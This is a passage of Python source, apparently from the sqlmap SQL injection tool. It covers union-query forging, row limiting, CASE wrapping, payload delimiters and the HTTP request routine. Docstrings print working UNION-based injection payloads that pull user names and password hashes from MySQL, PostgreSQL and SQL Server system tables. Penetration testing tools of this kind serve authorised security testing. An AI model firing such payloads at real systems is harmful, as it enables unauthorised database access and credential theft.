concatenatedQuery = ("%s&'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:]))
elif fieldsSelect:
concatenatedQuery = concatenatedQuery.replace('SELECT ', ("'%s'&" % kb.chars.start), 1)
concatenatedQuery += ("&'%s'" % kb.chars.stop)
elif fieldsNoSelect:
concatenatedQuery = ("'%s'&%s&'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop))
else:
warnMsg = 'applying generic concatenation (CONCAT)'
singleTimeWarnMessage(warnMsg)
if fieldsExists:
concatenatedQuery = concatenatedQuery.replace('SELECT ', ("CONCAT(CONCAT('%s'," % kb.chars.start), 1)
concatenatedQuery += ("),'%s')" % kb.chars.stop)
elif fieldsSelectCase:
concatenatedQuery = concatenatedQuery.replace('SELECT ', ("CONCAT(CONCAT('%s'," % kb.chars.start), 1)
concatenatedQuery += ("),'%s')" % kb.chars.stop)
elif fieldsSelectFrom:
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, ' FROM '))
concatenatedQuery = ("%s),'%s')%s" % (concatenatedQuery[:_].replace('SELECT ', ("CONCAT(CONCAT('%s'," % kb.chars.start), 1), kb.chars.stop, concatenatedQuery[_:]))
elif fieldsSelect:
concatenatedQuery = concatenatedQuery.replace('SELECT ', ("CONCAT(CONCAT('%s'," % kb.chars.start), 1)
concatenatedQuery += ("),'%s')" % kb.chars.stop)
elif fieldsNoSelect:
concatenatedQuery = ("CONCAT(CONCAT('%s',%s),'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop))
return concatenatedQuery
|
'Take in input an query (pseudo query) string and return its
processed UNION ALL SELECT query.
Examples:
MySQL input: CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)) FROM mysql.user
MySQL output: UNION ALL SELECT NULL, CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)), NULL FROM mysql.user-- AND 7488=7488
PostgreSQL input: (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)) FROM pg_shadow
PostgreSQL output: UNION ALL SELECT NULL, (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)), NULL FROM pg_shadow-- AND 7133=713
Oracle input: (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))
Oracle output: UNION ALL SELECT NULL, (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)), NULL FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))-- AND 6738=6738
Microsoft SQL Server input: (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)) FROM master..sysxlogins
Microsoft SQL Server output: UNION ALL SELECT NULL, (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)), NULL FROM master..sysxlogins-- AND 3254=3254
@param query: it is a processed query string unescaped to be
forged within an UNION ALL SELECT statement
@type query: C{str}
@param position: it is the NULL position where it is possible
to inject the query
@type position: C{int}
@return: UNION ALL SELECT query string forged
@rtype: C{str}'
| def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None):
| if conf.uFrom:
fromTable = (' FROM %s' % conf.uFrom)
elif (not fromTable):
if kb.tableFrom:
fromTable = (' FROM %s' % kb.tableFrom)
else:
fromTable = FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), '')
if query.startswith('SELECT '):
query = query[len('SELECT '):]
unionQuery = self.prefixQuery('UNION ALL SELECT ', prefix=prefix)
if limited:
unionQuery += ','.join(((char if (_ != position) else ('(SELECT %s)' % query)) for _ in xrange(0, count)))
unionQuery += fromTable
unionQuery = self.suffixQuery(unionQuery, comment, suffix)
return unionQuery
else:
_ = zeroDepthSearch(query, ' FROM ')
if _:
fromTable = query[_[0]:]
if (fromTable and query.endswith(fromTable)):
query = query[:(- len(fromTable))]
topNumRegex = re.search('\\ATOP\\s+([\\d]+)\\s+', query, re.I)
if topNumRegex:
topNum = topNumRegex.group(1)
query = query[len(('TOP %s ' % topNum)):]
unionQuery += ('TOP %s ' % topNum)
intoRegExp = re.search("(\\s+INTO (DUMP|OUT)FILE\\s+'(.+?)')", query, re.I)
if intoRegExp:
intoRegExp = intoRegExp.group(1)
query = query[:query.index(intoRegExp)]
position = 0
char = NULL
for element in xrange(0, count):
if (element > 0):
unionQuery += ','
if (element == position):
unionQuery += query
else:
unionQuery += char
if (fromTable and (not unionQuery.endswith(fromTable))):
unionQuery += fromTable
if intoRegExp:
unionQuery += intoRegExp
if multipleUnions:
unionQuery += ' UNION ALL SELECT '
for element in xrange(count):
if (element > 0):
unionQuery += ','
if (element == position):
unionQuery += multipleUnions
else:
unionQuery += char
if fromTable:
unionQuery += fromTable
unionQuery = self.suffixQuery(unionQuery, comment, suffix)
return unionQuery
|
'Take in input a query string and return its limited query string.
Example:
Input: SELECT user FROM mysql.users
Output: SELECT user FROM mysql.users LIMIT <num>, 1
@param num: limit number
@type num: C{int}
@param query: query to be processed
@type query: C{str}
@param field: field within the query
@type field: C{list}
@return: limited query string
@rtype: C{str}'
| def limitQuery(self, num, query, field=None, uniqueField=None):
| if (' FROM ' not in query):
return query
limitedQuery = query
limitStr = queries[Backend.getIdentifiedDbms()].limit.query
fromIndex = limitedQuery.index(' FROM ')
untilFrom = limitedQuery[:fromIndex]
fromFrom = limitedQuery[(fromIndex + 1):]
orderBy = None
if (Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE)):
limitStr = (queries[Backend.getIdentifiedDbms()].limit.query % (num, 1))
limitedQuery += (' %s' % limitStr)
elif Backend.isDbms(DBMS.HSQLDB):
match = re.search('ORDER BY [^ ]+', limitedQuery)
if match:
limitedQuery = re.sub(('\\s*%s\\s*' % match.group(0)), ' ', limitedQuery).strip()
limitedQuery += (' %s' % match.group(0))
if query.startswith('SELECT '):
limitStr = (queries[Backend.getIdentifiedDbms()].limit.query % (num, 1))
limitedQuery = limitedQuery.replace('SELECT ', ('SELECT %s ' % limitStr), 1)
else:
limitStr = (queries[Backend.getIdentifiedDbms()].limit.query2 % (1, num))
limitedQuery += (' %s' % limitStr)
if (not match):
match = re.search(('%s\\s+(\\w+)' % re.escape(limitStr)), limitedQuery)
if match:
orderBy = (' ORDER BY %s' % match.group(1))
elif Backend.isDbms(DBMS.FIREBIRD):
limitStr = (queries[Backend.getIdentifiedDbms()].limit.query % ((num + 1), (num + 1)))
limitedQuery += (' %s' % limitStr)
elif (Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)):
if (not (' ORDER BY ' in limitedQuery)):
limitStr = limitStr.replace(') WHERE LIMIT', ' ORDER BY 1 ASC) WHERE LIMIT')
elif ((' ORDER BY ' in limitedQuery) and ('SELECT ' in limitedQuery)):
limitedQuery = limitedQuery[:limitedQuery.index(' ORDER BY ')]
if query.startswith('SELECT '):
delimiter = queries[Backend.getIdentifiedDbms()].delimiter.query
limitedQuery = ('%s FROM (%s,%s' % (untilFrom, untilFrom.replace(delimiter, ','), limitStr))
else:
limitedQuery = ('%s FROM (SELECT %s,%s' % (untilFrom, ','.join((f for f in field)), limitStr))
limitedQuery = safeStringFormat(limitedQuery, (fromFrom,))
limitedQuery += ('=%d' % (num + 1))
elif Backend.isDbms(DBMS.MSSQL):
forgeNotIn = True
if (' ORDER BY ' in limitedQuery):
orderBy = limitedQuery[limitedQuery.index(' ORDER BY '):]
limitedQuery = limitedQuery[:limitedQuery.index(' ORDER BY ')]
notDistincts = re.findall('DISTINCT[\\(\\s+](.+?)\\)*\\s+', limitedQuery, re.I)
for notDistinct in notDistincts:
limitedQuery = limitedQuery.replace(('DISTINCT(%s)' % notDistinct), notDistinct)
limitedQuery = limitedQuery.replace(('DISTINCT %s' % notDistinct), notDistinct)
if (limitedQuery.startswith('SELECT TOP ') or limitedQuery.startswith('TOP ')):
topNums = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, limitedQuery, re.I)
if topNums:
topNums = topNums.groups()
quantityTopNums = topNums[0]
limitedQuery = limitedQuery.replace(('TOP %s' % quantityTopNums), 'TOP 1', 1)
startTopNums = topNums[1]
limitedQuery = limitedQuery.replace((' (SELECT TOP %s' % startTopNums), (' (SELECT TOP %d' % num))
forgeNotIn = False
else:
topNum = re.search('TOP\\s+([\\d]+)\\s+', limitedQuery, re.I).group(1)
limitedQuery = limitedQuery.replace(('TOP %s ' % topNum), '')
if forgeNotIn:
limitedQuery = limitedQuery.replace('SELECT ', (limitStr % 1), 1)
if (' ORDER BY ' not in fromFrom):
if (' WHERE ' in limitedQuery):
limitedQuery = ('%s AND %s ' % (limitedQuery, self.nullAndCastField((uniqueField or field))))
else:
limitedQuery = ('%s WHERE %s ' % (limitedQuery, self.nullAndCastField((uniqueField or field))))
limitedQuery += ('NOT IN (%s' % (limitStr % num))
limitedQuery += ('%s %s ORDER BY %s) ORDER BY %s' % (self.nullAndCastField((uniqueField or field)), fromFrom, (uniqueField or '1'), (uniqueField or '1')))
else:
match = re.search(' ORDER BY (\\w+)\\Z', query)
field = (match.group(1) if match else field)
if (' WHERE ' in limitedQuery):
limitedQuery = ('%s AND %s ' % (limitedQuery, field))
else:
limitedQuery = ('%s WHERE %s ' % (limitedQuery, field))
limitedQuery += ('NOT IN (%s' % (limitStr % num))
limitedQuery += ('%s %s)' % (field, fromFrom))
if orderBy:
limitedQuery += orderBy
return limitedQuery
|
'Take in input a query string and return its CASE statement query
string.
Example:
Input: (SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), \'@\', 1)) LIMIT 0, 1)=\'Y\'
Output: SELECT (CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), \'@\', 1)) LIMIT 0, 1)=\'Y\') THEN 1 ELSE 0 END)
@param expression: expression to be processed
@type num: C{str}
@return: processed expression
@rtype: C{str}'
| def forgeCaseStatement(self, expression):
| caseExpression = expression
if (Backend.getIdentifiedDbms() is not None):
caseExpression = (queries[Backend.getIdentifiedDbms()].case.query % expression)
if (('(IIF' not in caseExpression) and (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE) and (not caseExpression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))):
caseExpression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]
return caseExpression
|
'Adds payload delimiters around the input string'
| def addPayloadDelimiters(self, value):
| return (('%s%s%s' % (PAYLOAD_DELIMITER, value, PAYLOAD_DELIMITER)) if value else value)
|
'Removes payload delimiters from inside the input string'
| def removePayloadDelimiters(self, value):
| return (value.replace(PAYLOAD_DELIMITER, '') if value else value)
|
'Extracts payload from inside of the input string'
| def extractPayload(self, value):
| _ = re.escape(PAYLOAD_DELIMITER)
return extractRegexResult(('(?s)%s(?P<result>.*?)%s' % (_, _)), value)
|
'Replaces payload inside the input string with a given payload'
| def replacePayload(self, value, payload):
| _ = re.escape(PAYLOAD_DELIMITER)
return (re.sub(('(?s)(%s.*?%s)' % (_, _)), ('%s%s%s' % (PAYLOAD_DELIMITER, getUnicode(payload), PAYLOAD_DELIMITER)).replace('\\', '\\\\'), value) if value else value)
|
'Maps values to attributes
Only called if there *is NOT* an attribute with this name'
| def __getattr__(self, item):
| try:
return self.__getitem__(item)
except KeyError:
raise AttributeError(("unable to access item '%s'" % item))
|
'Maps attributes to values
Only if we are initialised'
| def __setattr__(self, item, value):
| if ('_AttribDict__initialised' not in self.__dict__):
return dict.__setattr__(self, item, value)
elif (item in self.__dict__):
dict.__setattr__(self, item, value)
else:
self.__setitem__(item, value)
|
'This function is used for inserting row(s) into current table.'
| def insert(self, values):
| if (len(values) == len(self.columns)):
self.execute(('INSERT INTO "%s" VALUES (%s)' % (self.name, ','.join((['?'] * len(values))))), safechardecode(values))
else:
errMsg = 'wrong number of columns used in replicating insert'
raise SqlmapValueException(errMsg)
|
'Great speed improvement can be gained by using explicit transactions around multiple inserts.
Reference: http://stackoverflow.com/questions/4719836/python-and-sqlite3-adding-thousands-of-rows'
| def beginTransaction(self):
| self.execute('BEGIN TRANSACTION')
|
'This function is used for selecting row(s) from current table.'
| def select(self, condition=None):
| _ = ('SELECT * FROM %s' % self.name)
if condition:
_ += ('WHERE %s' % condition)
return self.execute(_)
|
'This function creates Table instance with current connection settings.'
| def createTable(self, tblname, columns=None, typeless=False):
| return Replication.Table(parent=self, name=tblname, columns=columns, typeless=typeless)
|
'This method connects to the target URL or proxy and returns
the target URL page content'
| @staticmethod
def getPage(**kwargs):
| start = time.time()
if (isinstance(conf.delay, (int, float)) and (conf.delay > 0)):
time.sleep(conf.delay)
if conf.offline:
return (None, None, None)
elif (conf.dummy or (conf.murphyRate and ((randomInt() % conf.murphyRate) == 0))):
if conf.murphyRate:
time.sleep((randomInt() % (MAX_MURPHY_SLEEP_TIME + 1)))
return (getUnicode(randomStr(int(randomInt()), alphabet=[chr(_) for _ in xrange(256)]), {}, int(randomInt())), None, (None if (not conf.murphyRate) else randomInt(3)))
threadData = getCurrentThreadData()
with kb.locks.request:
kb.requestCounter += 1
threadData.lastRequestUID = kb.requestCounter
url = (kwargs.get('url', None) or conf.url)
get = kwargs.get('get', None)
post = kwargs.get('post', None)
method = kwargs.get('method', None)
cookie = kwargs.get('cookie', None)
ua = (kwargs.get('ua', None) or conf.agent)
referer = (kwargs.get('referer', None) or conf.referer)
host = (kwargs.get('host', None) or conf.host)
direct_ = kwargs.get('direct', False)
multipart = kwargs.get('multipart', None)
silent = kwargs.get('silent', False)
raise404 = kwargs.get('raise404', True)
timeout = (kwargs.get('timeout', None) or conf.timeout)
auxHeaders = kwargs.get('auxHeaders', None)
response = kwargs.get('response', False)
ignoreTimeout = (kwargs.get('ignoreTimeout', False) or kb.ignoreTimeout or conf.ignoreTimeouts)
refreshing = kwargs.get('refreshing', False)
retrying = kwargs.get('retrying', False)
crawling = kwargs.get('crawling', False)
checking = kwargs.get('checking', False)
skipRead = kwargs.get('skipRead', False)
if multipart:
post = multipart
websocket_ = url.lower().startswith('ws')
if (not urlparse.urlsplit(url).netloc):
url = urlparse.urljoin(conf.url, url)
target = checkSameHost(url, conf.url)
if (not retrying):
threadData.retriesCount = 0
url = url.replace(' ', '%20')
if ('://' not in url):
url = ('http://%s' % url)
conn = None
page = None
code = None
status = None
_ = urlparse.urlsplit(url)
requestMsg = (u'HTTP request [#%d]:\r\n%s ' % (threadData.lastRequestUID, (method or (HTTPMETHOD.POST if (post is not None) else HTTPMETHOD.GET))))
requestMsg += getUnicode((('%s%s' % ((_.path or '/'), (('?%s' % _.query) if _.query else ''))) if (not any((refreshing, crawling, checking))) else url))
responseMsg = u'HTTP response '
requestHeaders = u''
responseHeaders = None
logHeaders = u''
skipLogTraffic = False
raise404 = (raise404 and (not kb.ignoreNotFound))
url = asciifyUrl(url)
try:
socket.setdefaulttimeout(timeout)
if direct_:
if ('?' in url):
(url, params) = url.split('?', 1)
params = urlencode(params)
url = ('%s?%s' % (url, params))
elif any((refreshing, crawling, checking)):
pass
elif target:
if (conf.forceSSL and (urlparse.urlparse(url).scheme != 'https')):
url = re.sub('(?i)\\Ahttp:', 'https:', url)
url = re.sub('(?i):80/', ':443/', url)
if ((PLACE.GET in conf.parameters) and (not get)):
get = conf.parameters[PLACE.GET]
if (not conf.skipUrlEncode):
get = urlencode(get, limit=True)
if get:
if ('?' in url):
url = ('%s%s%s' % (url, DEFAULT_GET_POST_DELIMITER, get))
requestMsg += ('%s%s' % (DEFAULT_GET_POST_DELIMITER, get))
else:
url = ('%s?%s' % (url, get))
requestMsg += ('?%s' % get)
if ((PLACE.POST in conf.parameters) and (not post) and (method != HTTPMETHOD.GET)):
post = conf.parameters[PLACE.POST]
elif get:
url = ('%s?%s' % (url, get))
requestMsg += ('?%s' % get)
requestMsg += (' %s' % httplib.HTTPConnection._http_vsn_str)
headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host})
if (HTTP_HEADER.COOKIE in headers):
cookie = headers[HTTP_HEADER.COOKIE]
if kb.authHeader:
headers[HTTP_HEADER.AUTHORIZATION] = kb.authHeader
if kb.proxyAuthHeader:
headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader
if (not getHeader(headers, HTTP_HEADER.ACCEPT)):
headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE
if ((not getHeader(headers, HTTP_HEADER.HOST)) or (not target)):
headers[HTTP_HEADER.HOST] = getHostHeader(url)
if (not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING)):
headers[HTTP_HEADER.ACCEPT_ENCODING] = (HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else 'identity')
if ((post is not None) and (not multipart) and (not getHeader(headers, HTTP_HEADER.CONTENT_TYPE))):
headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE)
if (headers.get(HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[POST_HINT.MULTIPART]):
warnMsg = ("missing 'boundary parameter' in '%s' header. " % HTTP_HEADER.CONTENT_TYPE)
warnMsg += 'Will try to reconstruct'
singleTimeWarnMessage(warnMsg)
boundary = findMultipartPostBoundary(conf.data)
if boundary:
headers[HTTP_HEADER.CONTENT_TYPE] = ('%s; boundary=%s' % (headers[HTTP_HEADER.CONTENT_TYPE], boundary))
if conf.keepAlive:
headers[HTTP_HEADER.CONNECTION] = 'keep-alive'
if (target and conf.requestFile):
headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie})
if auxHeaders:
for (key, value) in auxHeaders.items():
for _ in headers.keys():
if (_.upper() == key.upper()):
del headers[_]
headers[key] = value
for (key, value) in headers.items():
del headers[key]
value = unicodeencode(value, kb.pageEncoding)
for char in ('\\r', '\\n'):
value = re.sub(('(%s)([^ \\t])' % char), '\\g<1>\\t\\g<2>', value)
headers[unicodeencode(key, kb.pageEncoding)] = value.strip('\r\n')
url = unicodeencode(url)
post = unicodeencode(post)
if websocket_:
ws = websocket.WebSocket()
ws.settimeout(timeout)
ws.connect(url, header=(('%s: %s' % _) for _ in headers.items() if (_[0] not in ('Host',))), cookie=cookie)
ws.send(urldecode((post or '')))
page = ws.recv()
ws.close()
code = ws.status
status = httplib.responses[code]
class _(dict, ):
pass
responseHeaders = _(ws.getheaders())
responseHeaders.headers = [('%s: %s\r\n' % (_[0].capitalize(), _[1])) for _ in responseHeaders.items()]
requestHeaders += '\r\n'.join([('%s: %s' % (getUnicode((key.capitalize() if isinstance(key, basestring) else key)), getUnicode(value))) for (key, value) in responseHeaders.items()])
requestMsg += ('\r\n%s' % requestHeaders)
if (post is not None):
requestMsg += ('\r\n\r\n%s' % getUnicode(post))
requestMsg += '\r\n'
threadData.lastRequestMsg = requestMsg
logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
else:
if (method and (method not in (HTTPMETHOD.GET, HTTPMETHOD.POST))):
method = unicodeencode(method)
req = MethodRequest(url, post, headers)
req.set_method(method)
else:
req = urllib2.Request(url, post, headers)
requestHeaders += '\r\n'.join([('%s: %s' % (getUnicode((key.capitalize() if isinstance(key, basestring) else key)), getUnicode(value))) for (key, value) in req.header_items()])
if ((not getRequestHeader(req, HTTP_HEADER.COOKIE)) and conf.cj):
conf.cj._policy._now = conf.cj._now = int(time.time())
cookies = conf.cj._cookies_for_request(req)
requestHeaders += ('\r\n%s' % ('Cookie: %s' % ';'.join((('%s=%s' % (getUnicode(cookie.name), getUnicode(cookie.value))) for cookie in cookies))))
if (post is not None):
if (not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH)):
requestHeaders += ('\r\n%s: %d' % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post)))
if (not getRequestHeader(req, HTTP_HEADER.CONNECTION)):
requestHeaders += ('\r\n%s: %s' % (HTTP_HEADER.CONNECTION, ('close' if (not conf.keepAlive) else 'keep-alive')))
requestMsg += ('\r\n%s' % requestHeaders)
if (post is not None):
requestMsg += ('\r\n\r\n%s' % getUnicode(post))
requestMsg += '\r\n'
if (not multipart):
threadData.lastRequestMsg = requestMsg
logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
if conf.cj:
for cookie in conf.cj:
if (cookie.value is None):
cookie.value = ''
else:
for char in ('\\r', '\\n'):
cookie.value = re.sub(('(%s)([^ \\t])' % char), '\\g<1>\\t\\g<2>', cookie.value)
conn = urllib2.urlopen(req)
if ((not kb.authHeader) and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and ((conf.authType or '').lower() == AUTH_TYPE.BASIC.lower())):
kb.authHeader = getRequestHeader(req, HTTP_HEADER.AUTHORIZATION)
if ((not kb.proxyAuthHeader) and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION)):
kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION)
if response:
return (conn, None, None)
if hasattr(conn, 'redurl'):
page = ((threadData.lastRedirectMsg[1] if (kb.redirectChoice == REDIRECTION.NO) else Connect._connReadProxy(conn)) if (not skipRead) else None)
skipLogTraffic = (kb.redirectChoice == REDIRECTION.NO)
code = conn.redcode
else:
page = (Connect._connReadProxy(conn) if (not skipRead) else None)
if conn:
code = conn.code
responseHeaders = conn.info()
responseHeaders[URI_HTTP_HEADER] = conn.geturl()
else:
code = None
responseHeaders = {}
page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
status = (getUnicode(conn.msg) if conn else None)
kb.connErrorCounter = 0
if (not refreshing):
refresh = responseHeaders.get(HTTP_HEADER.REFRESH, '').split('url=')[(-1)].strip()
if extractRegexResult(META_REFRESH_REGEX, page):
refresh = extractRegexResult(META_REFRESH_REGEX, page)
debugMsg = 'got HTML meta refresh header'
logger.debug(debugMsg)
if refresh:
if (kb.alwaysRefresh is None):
msg = 'sqlmap got a refresh request '
msg += '(redirect like response common to login pages). '
msg += 'Do you want to apply the refresh '
msg += 'from now on (or stay on the original page)? [Y/n]'
kb.alwaysRefresh = readInput(msg, default='Y', boolean=True)
if kb.alwaysRefresh:
if re.search('\\Ahttps?://', refresh, re.I):
url = refresh
else:
url = urlparse.urljoin(url, refresh)
threadData.lastRedirectMsg = (threadData.lastRequestUID, page)
kwargs['refreshing'] = True
kwargs['url'] = url
kwargs['get'] = None
kwargs['post'] = None
try:
return Connect._getPageProxy(**kwargs)
except SqlmapSyntaxException:
pass
if (conn and (not conf.keepAlive)):
try:
if hasattr(conn.fp, '_sock'):
conn.fp._sock.close()
conn.close()
except Exception as ex:
warnMsg = ("problem occurred during connection closing ('%s')" % getSafeExString(ex))
logger.warn(warnMsg)
except urllib2.HTTPError as ex:
page = None
responseHeaders = None
if checking:
return (None, None, None)
try:
page = (ex.read() if (not skipRead) else None)
responseHeaders = ex.info()
responseHeaders[URI_HTTP_HEADER] = ex.geturl()
page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
except socket.timeout:
warnMsg = 'connection timed out while trying '
warnMsg += ('to get error page information (%d)' % ex.code)
logger.warn(warnMsg)
return (None, None, None)
except KeyboardInterrupt:
raise
except:
pass
finally:
page = (page if isinstance(page, unicode) else getUnicode(page))
code = ex.code
status = getUnicode(ex.msg)
kb.originalCode = (kb.originalCode or code)
threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
kb.httpErrorCodes[code] = (kb.httpErrorCodes.get(code, 0) + 1)
responseMsg += ('[#%d] (%d %s):\r\n' % (threadData.lastRequestUID, code, status))
if responseHeaders:
logHeaders = '\r\n'.join([('%s: %s' % (getUnicode((key.capitalize() if isinstance(key, basestring) else key)), getUnicode(value))) for (key, value) in responseHeaders.items()])
logHTTPTraffic(requestMsg, ('%s%s\r\n\r\n%s' % (responseMsg, logHeaders, (page or '')[:MAX_CONNECTION_CHUNK_SIZE])), start, time.time())
skipLogTraffic = True
if (conf.verbose <= 5):
responseMsg += getUnicode(logHeaders)
elif (conf.verbose > 5):
responseMsg += ('%s\r\n\r\n%s' % (logHeaders, (page or '')[:MAX_CONNECTION_CHUNK_SIZE]))
if (not multipart):
logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
if ((ex.code == httplib.UNAUTHORIZED) and (not conf.ignore401)):
errMsg = 'not authorized, try to provide right HTTP '
errMsg += ('authentication type and valid credentials (%d)' % code)
raise SqlmapConnectionException(errMsg)
elif (ex.code == httplib.NOT_FOUND):
if raise404:
errMsg = ('page not found (%d)' % code)
raise SqlmapConnectionException(errMsg)
else:
debugMsg = ('page not found (%d)' % code)
singleTimeLogMessage(debugMsg, logging.DEBUG)
elif (ex.code == httplib.GATEWAY_TIMEOUT):
if ignoreTimeout:
return ((None if (not conf.ignoreTimeouts) else ''), None, None)
else:
warnMsg = ('unable to connect to the target URL (%d - %s)' % (ex.code, httplib.responses[ex.code]))
if ((threadData.retriesCount < conf.retries) and (not kb.threadException)):
warnMsg += '. sqlmap is going to retry the request'
logger.critical(warnMsg)
return Connect._retryProxy(**kwargs)
elif kb.testMode:
logger.critical(warnMsg)
return (None, None, None)
else:
raise SqlmapConnectionException(warnMsg)
else:
debugMsg = ('got HTTP error code: %d (%s)' % (code, status))
logger.debug(debugMsg)
except (urllib2.URLError, socket.error, socket.timeout, httplib.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError):
tbMsg = traceback.format_exc()
if checking:
return (None, None, None)
elif ('no host given' in tbMsg):
warnMsg = ('invalid URL address used (%s)' % repr(url))
raise SqlmapSyntaxException(warnMsg)
elif (('forcibly closed' in tbMsg) or ('Connection is already closed' in tbMsg)):
warnMsg = 'connection was forcibly closed by the target URL'
elif ('timed out' in tbMsg):
if (not conf.disablePrecon):
singleTimeWarnMessage('turning off pre-connect mechanism because of connection time out(s)')
conf.disablePrecon = True
if (kb.testMode and (kb.testType not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))):
kb.responseTimes.clear()
if (kb.testMode and (kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))):
singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS/IDS) is dropping 'suspicious' requests")
kb.droppingRequests = True
warnMsg = 'connection timed out to the target URL'
elif ('Connection reset' in tbMsg):
if (not conf.disablePrecon):
singleTimeWarnMessage('turning off pre-connect mechanism because of connection reset(s)')
conf.disablePrecon = True
if kb.testMode:
singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS/IDS) is resetting 'suspicious' requests")
kb.droppingRequests = True
warnMsg = 'connection reset to the target URL'
elif (('URLError' in tbMsg) or ('error' in tbMsg)):
warnMsg = 'unable to connect to the target URL'
match = re.search('Errno \\d+\\] ([^>]+)', tbMsg)
if match:
warnMsg += (" ('%s')" % match.group(1).strip())
elif ('NTLM' in tbMsg):
